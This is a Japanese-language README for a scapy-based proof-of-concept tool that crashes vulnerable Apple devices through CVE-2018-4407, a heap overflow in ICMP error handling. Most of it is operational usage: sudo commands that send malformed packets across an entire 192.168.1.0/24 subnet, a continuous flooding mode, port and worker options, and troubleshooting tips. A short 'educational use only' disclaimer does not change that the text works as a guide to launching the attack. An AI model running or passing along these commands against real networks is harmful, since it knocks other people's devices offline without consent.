
CVE-2018-4407(不正なパケット処理におけるヒープオーバーフロー)を使用してネットワーク上のAppleデバイスを妨害する
CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407)、この[tweet](https://twitter.com/ihackbanme/status/1057811965945376768)、およびこの[video](https://twitter.com/kevin_backhouse/status/1057352656560287746)に基づいています。このバグは、OSが不正なパケットのセグメントを含むICMPメッセージを送信者に返送しようとする際の不正なパケット処理におけるヒープオーバーフローの脆弱性です。

このPoCは、デバイスがエラーメッセージを送信しようとする際にICMPメッセージをオーバーフローさせるために、長いTCP/IPヘッダオプションを含む不正なTCPパケットデータを送信することで、脆弱性のあるAppleデバイスをクラッシュさせます。デバイスに直接ネットワークパケットデータを送信する能力が必要です(例:同じローカルネットワーク上)。
以下のオペレーティングシステムのバージョンとデバイスが脆弱です:
教育目的のみに使用してください。このスクリプトを違法行為に使用しないでください。作者は誤用や損害について一切責任を負いません。
Python 3とscapyがインストールされていることを確認してください。
pip install scapy
# or
pip3 install scapy
スクリプトをrootとして実行する必要があるかもしれません。
192.168.1.0/24サブネットに不正なパケットを送信します。
sudo ./appledos.py 192.168.1.0/24
パケット送信後のIPを表示します。
sudo ./appledos.py --verbose 192.168.1.0/24
192.168.1.0/24サブネットに継続的に不正なパケットを送信します。
sudo ./appledos.py --continuous 192.168.1.0/24
宛先ポートを変更します(デフォルト:80)。デバイスは任意のポートへの受信パケットに応答するため、任意のポートに変更できますが、ホストやネットワークのポートブロッキングやファイアウォールに注意する必要があるかもしれません。
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
1つのIPのみに不正なパケットを送信します。
sudo ./appledos.py 192.168.1.118
最大ワーカー数を設定します(デフォルト:100)。
sudo ./appledos.py --worker 10 192.168.1.0/24
このスクリプトはscapyを使用しており、macOSのようなOSからマルチスレッドでパケットデータを送信する際に/dev/bpf(Berkeley Packet Filter)の処理に関する既知の問題があります。No /dev/bpf handle is availableというエラーが発生した場合は、ワーカー数を1または2に減らしてみてください。または、デモビデオのようにLinuxを使用することもできます。